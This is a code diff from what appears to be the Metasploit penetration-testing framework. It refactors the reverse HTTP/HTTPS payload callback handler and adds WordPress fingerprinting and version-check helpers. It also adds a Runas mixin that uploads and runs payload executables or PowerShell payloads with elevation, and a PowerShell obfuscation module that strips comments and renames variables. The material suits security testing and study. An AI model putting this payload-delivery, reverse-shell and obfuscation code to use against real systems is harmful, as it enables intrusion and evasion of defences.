local_port = bind_port
scheme = (ssl?) ? "https" : "http"
"#{scheme}://#{datastore['LHOST']}:#{datastore['LPORT']}/"
end
#
# Initializes the HTTP SSL tunneling handler.
#
@ -77,14 +56,64 @@ module ReverseHttp
], Msf::Handler::ReverseHttp)
end
#
# Toggle for IPv4 vs IPv6 mode
#
def ipv6
self.refname.index('ipv6') ? true : false
def ipv6?
Rex::Socket.is_ipv6?(datastore['LHOST'])
end
# Determine where to bind the server
#
# @return [String]
def listener_address
if datastore['ReverseListenerBindAddress'].to_s.empty?
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
else
bindaddr = datastore['ReverseListenerBindAddress']
end
bindaddr
end
# @return [String] A URI of the form +scheme://host:port/+
def listener_uri
if ipv6?
listen_host = "[#{listener_address}]"
else
listen_host = listener_address
end
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
end
# Return a URI suitable for placing in a payload.
#
# Host will be properly wrapped in square brackets, +[]+, for ipv6
# addresses.
#
# @return [String] A URI of the form +scheme://host:port/+
def payload_uri
if ipv6?
callback_host = "[#{datastore['LHOST']}]"
else
callback_host = datastore['LHOST']
end
"#{scheme}://#{callback_host}:#{datastore['LPORT']}/"
end
# Use the {#refname} to determine whether this handler uses SSL or not
#
def ssl?
!!(self.refname.index("https"))
end
# URI scheme
#
# @return [String] One of "http" or "https" depending on whether we
# are using SSL
def scheme
(ssl?) ? "https" : "http"
end
# Create an HTTP listener
#
def setup_handler
@ -98,17 +127,11 @@ module ReverseHttp
local_port = bind_port
# Determine where to bind the HTTP(S) server to
bindaddrs = ipv6 ? '::' : '0.0.0.0'
if not datastore['ReverseListenerBindAddress'].to_s.empty?
bindaddrs = datastore['ReverseListenerBindAddress']
end
# Start the HTTPS server service on this host/port
self.service = Rex::ServiceManager.start(Rex::Proto::Http::Server,
local_port,
bindaddrs,
listener_address,
ssl?,
{
'Msf' => framework,
@ -130,9 +153,7 @@ module ReverseHttp
},
'VirtualDirectory' => true)
scheme = (ssl?) ? "https" : "http"
bind_url = "#{scheme}://#{bindaddrs}:#{local_port}/"
print_status("Started #{scheme.upcase} reverse handler on #{bind_url}")
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
end
#
@ -165,7 +186,6 @@ protected
# Parses the HTTPS request
#
def on_request(cli, req, obj)
sid = nil
resp = Rex::Proto::Http::Response.new
print_status("#{cli.peerhost}:#{cli.peerport} Request received for #{req.relative_resource}...")
@ -176,7 +196,7 @@ protected
case uri_match
when /^\/INITJM/
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
url = full_uri + conn_id + "/\x00"
url = payload_uri + conn_id + "/\x00"
blob = ""
blob << obj.generate_stage
@ -266,7 +286,7 @@ protected
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
i = blob.index("https://" + ("X" * 256))
if i
url = full_uri + conn_id + "/\x00"
url = payload_uri + conn_id + "/\x00"
blob[i, url.length] = url
end
print_status("Patched URL at offset #{i}...")
@ -308,7 +328,7 @@ protected
create_session(cli, {
:passive_dispatcher => obj.service,
:conn_id => conn_id,
:url => full_uri + conn_id + "/\x00",
:url => payload_uri + conn_id + "/\x00",
:expiration => datastore['SessionExpirationTimeout'].to_i,
:comm_timeout => datastore['SessionCommunicationTimeout'].to_i,
:ssl => ssl?,

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf
module Handler
module ReverseHttp
@ -45,6 +46,7 @@ module Msf
# Map "random" URIs to static strings, allowing us to randomize
# the URI sent in the first request.
#
# @param uri_match [String] The URI string to convert back to the original static value
# @return [String] The static URI value derived from the checksum
def process_uri_resource(uri_match)
@ -69,6 +71,7 @@ module Msf
end
# Create a URI that matches a given checksum
#
# @param sum [Fixnum] The checksum value you are trying to create a URI for
# @return [String] The URI string that checksums to the given value
def generate_uri_checksum(sum)

View File

@ -1,34 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/handler/reverse_http'
module Msf
module Handler
###
#
# This handler implements the HTTP tunneling interface.
#
###
module ReverseIPv6Http
include Msf::Handler::ReverseHttp
#
# Override the handler_type to indicate IPv6 mode
#
def self.handler_type
return "reverse_ipv6_http"
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
end
end
end

View File

@ -1,35 +0,0 @@
# -*- coding: binary -*-
require 'msf/core/handler/reverse_http'
require 'msf/core/handler/reverse_https'
module Msf
module Handler
###
#
# This handler implements the HTTP SSL tunneling interface.
#
###
module ReverseIPv6Https
include Msf::Handler::ReverseHttps
#
# Override the handler_type to indicate IPv6 mode
#
def self.handler_type
return "reverse_ipv6_https"
end
#
# Returns the connection-described general handler type, in this case
# 'tunnel'.
#
def self.general_handler_type
"tunnel"
end
end
end
end

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'rex/socket'
require 'thread'

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf::Module::Deprecated

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
#
# Gems
#

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
#
# Gems
#

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
#
# Gems
#

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
#
# Gems
#

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
# Concerns reloading modules
module Msf::ModuleManager::Reloading
# Reloads the module specified in mod. This can either be an instance of a module or a module class.

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
# Namespace for loading Metasploit modules
module Msf::Modules

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
# Base error class for all error under {Msf::Modules}
class Msf::Modules::Error < StandardError
def initialize(attributes={})

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'msf/core/modules'
# Namespace for module loaders

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'msf/core/modules/loader/base'
# Concerns loading modules form fastlib archives

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
#
# Project
#

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
# Concerns loading module from a directory
class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
# Returns true if the path is a directory
@ -18,7 +19,7 @@ class Msf::Modules::Loader::Directory < Msf::Modules::Loader::Base
# Yields the module_reference_name for each module file found under the directory path.
#
# @param [String] path The path to the directory.
# @param [Array] modules An array of regex patterns to search for specific modules
# @param [Hash] opts Input Hash.
# @yield (see Msf::Modules::Loader::Base#each_module_reference_name)
# @yieldparam [String] path The path to the directory.
# @yieldparam [String] type The type correlated with the directory under path.

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'msf/core/modules/error'
# Error raised by {Msf::Modules::Namespace#metasploit_class!} if it cannot the namespace_module does not have a constant

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'metasploit/framework/api/version'
require 'metasploit/framework/core/version'

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'msf/core/modules/error'
# Error raised by {Msf::Modules::Namespace#version_compatible!} on {Msf::Modules::Loader::Base#create_namespace_module}

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'msf/core'
###

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'active_support/core_ext/numeric/bytes'
module Msf

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf::Post::Linux
require 'msf/core/post/linux/priv'
require 'msf/core/post/linux/system'

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf::Post::OSX
require 'msf/core/post/osx/system'

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf
class Post
module OSX

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf::Post::Solaris
require 'msf/core/post/solaris/priv'
require 'msf/core/post/solaris/system'

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf::Post::Windows
require 'msf/core/post/windows/error'
@ -11,6 +12,7 @@ module Msf::Post::Windows
require 'msf/core/post/windows/process'
require 'msf/core/post/windows/railgun'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/runas'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/wmic'
require 'msf/core/post/windows/netapi'

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
module Msf::Post::Windows::Error
SUCCESS = 0x0000
@ -2527,5 +2528,5 @@ module Msf::Post::Windows::Error
SYSTEM_DEVICE_NOT_FOUND = 0x3BC3
HASH_NOT_SUPPORTED = 0x3BC4
HASH_NOT_PRESENT = 0x3BC5
INVALID_HANDLE_VALUE = 0xffffffff
end

View File

@ -50,7 +50,10 @@ module NetAPI
case result['return']
when 0
hosts = read_server_structs(result['bufptr'], result['totalentries'], domain, server_type)
# Railgun assumes PDWORDS are pointers and returns 8 bytes for x64 architectures.
# Therefore we need to truncate the result value to an actual
# DWORD for entriesread or totalentries.
hosts = read_server_structs(result['bufptr'], (result['entriesread'] % 4294967296), domain, server_type)
when ERROR_NO_BROWSER_SERVERS_FOUND
print_error("ERROR_NO_BROWSER_SERVERS_FOUND")
return nil
@ -65,26 +68,28 @@ module NetAPI
end
def read_server_structs(start_ptr, count, domain, server_type)
base = 0
struct_size = 8
hosts = []
return hosts if count <= 0
if count == 0
return hosts
end
ptr_size = client.railgun.util.pointer_size
ptr = (ptr_size == 8) ? 'Q<' : 'V'
base = 0
# Struct -> Ptr, Ptr
struct_size = ptr_size * 2
mem = client.railgun.memread(start_ptr, struct_size*count)
count.times do
x = {}
x[:version]= mem[(base + 0),4].unpack("V*")[0]
nameptr = mem[(base + 4),4].unpack("V*")[0]
x[:version]= mem[(base + 0),ptr_size].unpack(ptr).first
nameptr = mem[(base + ptr_size),ptr_size].unpack(ptr).first
x[:name] = UnicodeByteStringToAscii(client.railgun.memread(nameptr, 255))
hosts << x
base += struct_size
end
return hosts
hosts
end
def net_session_enum(hostname, username)
@ -105,7 +110,7 @@ module NetAPI
case result['return']
when 0
vprint_error("#{hostname} Session identified")
sessions = read_session_structs(result['bufptr'], result['totalentries'], hostname)
sessions = read_session_structs(result['bufptr'], (result['entriesread'] % 4294967296), hostname)
when ERROR_ACCESS_DENIED
vprint_error("#{hostname} Access denied...")
return nil
@ -130,17 +135,23 @@ module NetAPI
end
def read_session_structs(start_ptr, count, hostname)
base = 0
struct_size = 16
sessions = []
return sessions if count <= 0
ptr_size = client.railgun.util.pointer_size
ptr = (ptr_size == 8) ? 'Q<' : 'V'
base = 0
# Struct -> Ptr, Ptr, Dword Dword
struct_size = (ptr_size * 2) + 8
mem = client.railgun.memread(start_ptr, struct_size*count)
count.times do
sess = {}
cnameptr = mem[(base + 0),4].unpack("V*")[0]
usernameptr = mem[(base + 4),4].unpack("V*")[0]
sess[:usetime] = mem[(base + 8),4].unpack("V*")[0]
sess[:idletime] = mem[(base + 12),4].unpack("V*")[0]
cnameptr = mem[(base + 0),ptr_size].unpack(ptr).first
usernameptr = mem[(base + ptr_size),ptr_size].unpack(ptr).first
sess[:usetime] = mem[(base + (ptr_size * 2)),4].unpack('V').first
sess[:idletime] = mem[(base + (ptr_size * 2) + 4),4].unpack('V').first
sess[:cname] = UnicodeByteStringToAscii(client.railgun.memread(cnameptr,255))
sess[:username] = UnicodeByteStringToAscii(client.railgun.memread(usernameptr,255))
sess[:hostname] = hostname
@ -148,7 +159,7 @@ module NetAPI
base = base + struct_size
end
return sessions
sessions
end
end # NetAPI

View File

@ -0,0 +1,38 @@
# -*- coding: binary -*-
require 'msf/core/exploit/powershell'
require 'msf/core/exploit/exe'
module Msf::Post::Windows::Runas
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
def execute_exe(filename = nil, path = nil, upload = nil)
payload_filename = filename || Rex::Text.rand_text_alpha((rand(8) + 6)) + '.exe'
payload_path = path || get_env('TEMP')
cmd_location = "#{payload_path}\\#{payload_filename}"
if upload
exe_payload = generate_payload_exe
print_status("Uploading #{payload_filename} - #{exe_payload.length} bytes to the filesystem...")
write_file(cmd_location, exe_payload)
else
print_status("No file uploaded, attempting to execute #{cmd_location}...")
end
shell_exec(cmd_location, nil)
end
def execute_psh
powershell_command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
command = 'cmd.exe'
args = "/c #{powershell_command}"
shell_exec(command, args)
end
def shell_exec(command, args)
print_status('Executing elevated command...')
session.railgun.shell32.ShellExecuteA(nil, 'runas', command, args, nil, 'SW_SHOW')
end
end

View File

@ -18,8 +18,20 @@ module Msf::HTTP::Typo3::Login
return nil
end
e = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)[1]
n = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)[1]
e_match = res_main.body.match(/<input type="hidden" id="rsa_e" name="e" value="(\d+)" \/>/)
if e_match.nil?
vprint_error('Can not find rsa_e value')
return nil
end
e = e_match[1]
n_match = res_main.body.match(/<input type="hidden" id="rsa_n" name="n" value="(\w+)" \/>/)
if n_match.nil?
vprint_error('Can not find rsa_n value')
return nil
end
n = n_match[1]
vprint_debug("e: #{e}")
vprint_debug("n: #{n}")
rsa_enc = typo3_helper_login_rsa(e, n, pass)

View File

@ -26,10 +26,20 @@ module Msf
register_options(
[
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/']),
Msf::OptString.new('TARGETURI', [true, 'The base path to the wordpress application', '/'])
], HTTP::Wordpress
)
register_advanced_options(
[
Msf::OptString.new('WPCONTENTDIR', [true, 'The name of the wp-content directory', 'wp-content'])
], HTTP::Wordpress
)
end
def wp_content_dir
datastore['WPCONTENTDIR']
end
end
end
end

View File

@ -1,28 +1,23 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Base
# Checks if the site is online and running wordpress
#
# @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running wordpress, nil otherwise
def wordpress_and_online?
begin
res = send_request_cgi({
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
return res if res and
res.code == 200 and
(
res.body =~ /["'][^"']*\/wp-content\/[^"']*["']/i or
res.body =~ /<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i or
res.body =~ /<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'] \/>/i
)
wordpress_detect_regexes = [
/["'][^"']*\/#{Regexp.escape(wp_content_dir)}\/[^"']*["']/i,
/<link rel=["']wlwmanifest["'].*href=["'].*\/wp-includes\/wlwmanifest\.xml["'] \/>/i,
/<link rel=["']pingback["'].*href=["'].*\/xmlrpc\.php["'](?: \/)*>/i
]
return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r }
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("#{peer} - Error connecting to #{target_uri}")
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
print_error("#{peer} - Error connecting to #{target_uri}: #{e}")
return nil
end
end
end

View File

@ -49,7 +49,7 @@ module Msf::HTTP::Wordpress::Helpers
options.merge!({'vars_post' => vars_post})
options.merge!({'cookie' => login_cookie}) if login_cookie
res = send_request_cgi(options)
if res and (res.code == 301 or res.code == 302) and res.headers['Location']
if res && res.redirect? && res.redirection
return wordpress_helper_parse_location_header(res)
else
message = "#{peer} - Post comment failed."
@ -101,7 +101,7 @@ module Msf::HTTP::Wordpress::Helpers
else
return res.body
end
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
elsif res && res.redirect? && res.redirection
path = wordpress_helper_parse_location_header(res)
return wordpress_helper_check_post_id(path, comments_enabled, login_cookie)
end
@ -113,9 +113,9 @@ module Msf::HTTP::Wordpress::Helpers
# @param res [Rex::Proto::Http::Response] The HTTP response
# @return [String,nil] the path and query, nil on error
def wordpress_helper_parse_location_header(res)
return nil unless res and (res.code == 301 or res.code == 302) and res.headers['Location']
return nil unless res && res.redirect? && res.redirection
location = res.headers['Location']
location = res.redirection
path_from_uri(location)
end

View File

@ -1,6 +1,6 @@
# -*- coding: binary -*-
module Msf::HTTP::Wordpress::Login
module Msf::HTTP::Wordpress::Login
# performs a wordpress login
#
# @param user [String] Username
@ -8,21 +8,23 @@ module Msf::HTTP::Wordpress::Login
# @return [String,nil] the session cookies as a single string on successful login, nil otherwise
def wordpress_login(user, pass)
redirect = "#{target_uri}#{Rex::Text.rand_text_alpha(8)}"
res = send_request_cgi({
res = send_request_cgi(
'method' => 'POST',
'uri' => wordpress_url_login,
'vars_post' => wordpress_helper_login_post_data(user, pass, redirect)
})
if res and (res.code == 301 or res.code == 302) and res.headers['Location'] == redirect
)
if res && res.redirect? && res.redirection && res.redirection.to_s == redirect
cookies = res.get_cookies
# Check if a valid wordpress cookie is returned
return cookies if cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
return cookies if
# current Wordpress
cookies =~ /wordpress(?:_sec)?_logged_in_[^=]+=[^;]+;/i ||
# Wordpress 2.0
cookies =~ /wordpress(?:user|pass)_[^=]+=[^;]+;/i ||
# Wordpress 2.5
cookies =~ /wordpress_[a-z0-9]+=[^;]+;/i
end
return nil
nil
end
end

View File

@ -112,7 +112,7 @@ module Msf::HTTP::Wordpress::Posts
count = max_redirects
# Follow redirects
while (res.code == 301 || res.code == 302) and res.headers['Location'] and count != 0
while res.redirect? && res.redirection && count != 0
path = wordpress_helper_parse_location_header(res)
return nil unless path

View File

@ -80,4 +80,32 @@ module Msf::HTTP::Wordpress::URIs
normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php')
end
# Returns the Wordpress wp-content dir URL
#
# @return [String] Wordpress wp-content dir URL
def wordpress_url_wp_content
normalize_uri(target_uri.path, wp_content_dir)
end
# Returns the Wordpress plugins dir URL
#
# @return [String] Wordpress plugins dir URL
def wordpress_url_plugins
normalize_uri(wordpress_url_wp_content, 'plugins')
end
# Returns the Wordpress themes dir URL
#
# @return [String] Wordpress themes dir URL
def wordpress_url_themes
normalize_uri(wordpress_url_wp_content, 'themes')
end
# Returns the Wordpress XMLRPC URL
#
# @return [String] Wordpress XMLRPC URL
def wordpress_url_xmlrpc
normalize_uri(target_uri.path, 'xmlrpc.php')
end
end

View File

@ -33,7 +33,7 @@ module Msf::HTTP::Wordpress::Users
'uri' => url
})
if res and res.code == 301
if res and res.redirect?
uri = wordpress_helper_parse_location_header(res)
return nil unless uri
# try to extract username from location

View File

@ -2,63 +2,124 @@
module Msf::HTTP::Wordpress::Version
# Used to check if the version is correct: must contain at least one dot
WORDPRESS_VERSION_PATTERN = '([^\r\n"\']+\.[^\r\n"\']+)'
# Extracts the Wordpress version information from various sources
#
# @return [String,nil] Wordpress version if found, nil otherwise
def wordpress_version
# detect version from generator
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{wordpress_version_pattern}" \/>/i)
version = wordpress_version_helper(normalize_uri(target_uri.path), /<meta name="generator" content="WordPress #{WORDPRESS_VERSION_PATTERN}" \/>/i)
return version if version
# detect version from readme
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{wordpress_version_pattern}/i)
version = wordpress_version_helper(wordpress_url_readme, /<br \/>\sversion #{WORDPRESS_VERSION_PATTERN}/i)
return version if version
# detect version from rss
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}<\/generator>/i)
version = wordpress_version_helper(wordpress_url_rss, /<generator>http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}<\/generator>/i)
return version if version
# detect version from rdf
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{wordpress_version_pattern}" \/>/i)
version = wordpress_version_helper(wordpress_url_rdf, /<admin:generatorAgent rdf:resource="http:\/\/wordpress.org\/\?v=#{WORDPRESS_VERSION_PATTERN}" \/>/i)
return version if version
# detect version from atom
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{wordpress_version_pattern}">WordPress<\/generator>/i)
version = wordpress_version_helper(wordpress_url_atom, /<generator uri="http:\/\/wordpress.org\/" version="#{WORDPRESS_VERSION_PATTERN}">WordPress<\/generator>/i)
return version if version
# detect version from sitemap
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{wordpress_version_pattern}"/i)
version = wordpress_version_helper(wordpress_url_sitemap, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
return version if version
# detect version from opml
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{wordpress_version_pattern}"/i)
version = wordpress_version_helper(wordpress_url_opml, /generator="wordpress\/#{WORDPRESS_VERSION_PATTERN}"/i)
return version if version
nil
end
# Checks a readme for a vulnerable version
#
# @param [String] plugin_name The name of the plugin
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_plugin_version_from_readme(plugin_name, fixed_version, vuln_introduced_version = nil)
check_version_from_readme(:plugin, plugin_name, fixed_version, vuln_introduced_version)
end
# Checks a readme for a vulnerable version
#
# @param [String] theme_name The name of the theme
# @param [String] fixed_version The version the vulnerability was fixed in
# @param [String] vuln_introduced_version Optional, the version the vulnerability was introduced
#
# @return [ Msf::Exploit::CheckCode ]
def check_theme_version_from_readme(theme_name, fixed_version, vuln_introduced_version = nil)
check_version_from_readme(:theme, theme_name, fixed_version, vuln_introduced_version)
end
private
# Used to check if the version is correct: must contain at least one dot.
#
# @return [ String ]
def wordpress_version_pattern
'([^\r\n"\']+\.[^\r\n"\']+)'
end
def wordpress_version_helper(url, regex)
res = send_request_cgi({
res = send_request_cgi(
'method' => 'GET',
'uri' => url
})
)
if res
match = res.body.match(regex)
if match
return match[1]
end
return match[1] if match
end
nil
end
def check_version_from_readme(type, name, fixed_version, vuln_introduced_version = nil)
case type
when :plugin
folder = 'plugins'
when :theme
folder = 'themes'
else
fail("Unknown readme type #{type}")
end
readme_url = normalize_uri(target_uri.path, wp_content_dir, folder, name, 'readme.txt')
res = send_request_cgi(
'uri' => readme_url,
'method' => 'GET'
)
# no readme.txt present
return Msf::Exploit::CheckCode::Unknown if res.nil? || res.code != 200
# try to extract version from readme
# Example line:
# Stable tag: 2.6.6
version = res.body.to_s[/stable tag: ([^\r\n"\']+\.[^\r\n"\']+)/i, 1]
# readme present, but no version number
return Msf::Exploit::CheckCode::Detected if version.nil?
vprint_status("#{peer} - Found version #{version} of the #{type}")
# Version older than fixed version
if Gem::Version.new(version) < Gem::Version.new(fixed_version)
if vuln_introduced_version.nil?
# All versions are vulnerable
return Msf::Exploit::CheckCode::Appears
# vuln_introduced_version provided, check if version is newer
elsif Gem::Version.new(version) >= Gem::Version.new(vuln_introduced_version)
return Msf::Exploit::CheckCode::Appears
else
# Not in range, nut vulnerable
return Msf::Exploit::CheckCode::Safe
end
# version newer than fixed version
else
return Msf::Exploit::CheckCode::Safe
end
end
end

View File

@ -670,6 +670,14 @@ class Core
if(framework.sessions.length > 0 and not forced)
print_status("You have active sessions open, to exit anyway type \"exit -y\"")
return
elsif(driver.confirm_exit and not forced)
print("Are you sure you want to exit Metasploit? [y/N]: ")
response = gets.downcase.chomp
if(response == "y" || response == "yes")
driver.stop
else
return
end
end
driver.stop

View File

@ -1855,7 +1855,7 @@ class Db
# Miscellaneous option helpers
#
# Parse +arg+ into a {RangeWalker} and append the result into +host_ranges+
# Parse +arg+ into a {Rex::Socket::RangeWalker} and append the result into +host_ranges+
#
# @note This modifies +host_ranges+ in place
#

View File

@ -158,6 +158,9 @@ class Driver < Msf::Ui::Driver
# Whether or not command passthru should be allowed
self.command_passthru = (opts['AllowCommandPassthru'] == false) ? false : true
# Whether or not to confirm before exiting
self.confirm_exit = (opts['ConfirmExit'] == true) ? true : false
# Disables "dangerous" functionality of the console
@defanged = opts['Defanged'] == true
@ -603,6 +606,10 @@ class Driver < Msf::Ui::Driver
#
attr_reader :framework
#
# Whether or not to confirm before exiting
#
attr_reader :confirm_exit
#
# Whether or not commands can be passed through.
#
attr_reader :command_passthru
@ -638,6 +645,7 @@ class Driver < Msf::Ui::Driver
protected
attr_writer :framework # :nodoc:
attr_writer :confirm_exit # :nodoc:
attr_writer :command_passthru # :nodoc:
#

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
here = File.expand_path(File.dirname(__FILE__))

View File

@ -1084,17 +1084,18 @@ require 'msf/core/exe/segment_injector'
end
def self.to_win32pe_psh_net(framework, code, opts={})
hash_sub = {}
hash_sub[:var_code] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_kernel32] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_baseaddr] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_threadHandle] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_output] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_temp] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_codeProvider] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_compileParams] = Rex::Text.rand_text_alpha(rand(8)+8)
hash_sub[:var_syscode] = Rex::Text.rand_text_alpha(rand(8)+8)
rig = Rex::RandomIdentifierGenerator.new()
rig.init_var(:var_code)
rig.init_var(:var_kernel32)
rig.init_var(:var_baseaddr)
rig.init_var(:var_threadHandle)
rig.init_var(:var_output)
rig.init_var(:var_codeProvider)
rig.init_var(:var_compileParams)
rig.init_var(:var_syscode)
rig.init_var(:var_temp)
hash_sub = rig.to_h
hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)
return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")

View File

@ -1,3 +1,4 @@
# -*- coding: binary -*-
require 'rex/poly/machine'

View File

@ -0,0 +1,62 @@
# -*- coding: binary -*-
require 'rex/exploitation/powershell/output'
require 'rex/exploitation/powershell/parser'
require 'rex/exploitation/powershell/obfu'
require 'rex/exploitation/powershell/param'
require 'rex/exploitation/powershell/function'
require 'rex/exploitation/powershell/script'
require 'rex/exploitation/powershell/psh_methods'
module Rex
module Exploitation
module Powershell
#
# Reads script into a PowershellScript
#
# @param script_path [String] Path to the Script File
#
# @return [Script] Powershell Script object
def self.read_script(script_path)
Rex::Exploitation::Powershell::Script.new(script_path)
end
#
# Insert substitutions into the powershell script
# If script is a path to a file then read the file
# otherwise treat it as the contents of a file
#
# @param script [String] Script file or path to script
# @param subs [Array] Substitutions to insert
#
# @return [String] Modified script file
def self.make_subs(script, subs)
if ::File.file?(script)
script = ::File.read(script)
end
subs.each do |set|
script.gsub!(set[0], set[1])
end
script
end
#
# Return an array of substitutions for use in make_subs
#
# @param subs [String] A ; seperated list of substitutions
#
# @return [Array] An array of substitutions
def self.process_subs(subs)
return [] if subs.nil? or subs.empty?
new_subs = []
subs.split(';').each do |set|
new_subs << set.split(',', 2)
end
new_subs
end
end
end
end

View File

@ -0,0 +1,63 @@
# -*- coding: binary -*-
module Rex
module Exploitation
module Powershell
class Function
FUNCTION_REGEX = Regexp.new(/\[(\w+\[\])\]\$(\w+)\s?=|\[(\w+)\]\$(\w+)\s?=|\[(\w+\[\])\]\s+?\$(\w+)\s+=|\[(\w+)\]\s+\$(\w+)\s?=/i)
PARAMETER_REGEX = Regexp.new(/param\s+\(|param\(/im)
attr_accessor :code, :name, :params
include Output
include Parser
include Obfu
def initialize(name, code)
@name = name
@code = code
populate_params
end
#
# To String
#
# @return [String] Powershell function
def to_s
"function #{name} #{code}"
end
#
# Identify the parameters from the code and
# store as Param in @params
#
def populate_params
@params = []
start = code.index(PARAMETER_REGEX)
return unless start
# Get start of our block
idx = scan_with_index('(', code[start..-1]).first.last + start
pclause = block_extract(idx)
matches = pclause.scan(FUNCTION_REGEX)
# Ignore assignment, create params with class and variable names
matches.each do |param|
klass = nil
name = nil
param.each do |value|
if value
if klass
name = value
@params << Param.new(klass, name)
break
else
klass = value
end
end
end
end
end
end
end
end
end

View File

@ -0,0 +1,98 @@
# -*- coding: binary -*-
require 'rex/text'
module Rex
module Exploitation
module Powershell
module Obfu
MULTI_LINE_COMMENTS_REGEX = Regexp.new(/<#(.*?)#>/m)
SINGLE_LINE_COMMENTS_REGEX = Regexp.new(/^\s*#(?!.*region)(.*$)/i)
WINDOWS_EOL_REGEX = Regexp.new(/[\r\n]+/)
UNIX_EOL_REGEX = Regexp.new(/[\n]+/)
WHITESPACE_REGEX = Regexp.new(/\s+/)
EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
#
# Remove comments
#
# @return [String] code without comments
def strip_comments
# Multi line
code.gsub!(MULTI_LINE_COMMENTS_REGEX, '')
# Single line
code.gsub!(SINGLE_LINE_COMMENTS_REGEX, '')
code
end
#
# Remove empty lines
#
# @return [String] code without empty lines
def strip_empty_lines
# Windows EOL
code.gsub!(WINDOWS_EOL_REGEX, "\r\n")
# UNIX EOL
code.gsub!(UNIX_EOL_REGEX, "\n")
code
end
#
# Remove whitespace
# This can break some codes using inline .NET
#
# @return [String] code with whitespace stripped
def strip_whitespace
code.gsub!(WHITESPACE_REGEX, ' ')
code
end
#
# Identify variables and replace them
#
# @return [String] code with variable names replaced with unique values
def sub_vars
# Get list of variables, remove reserved
get_var_names.each do |var, _sub|
code.gsub!(var, "$#{@rig.init_var(var)}")
end
code
end
#
# Identify function names and replace them
#
# @return [String] code with function names replaced with unique
# values
def sub_funcs
# Find out function names, make map
get_func_names.each do |var, _sub|
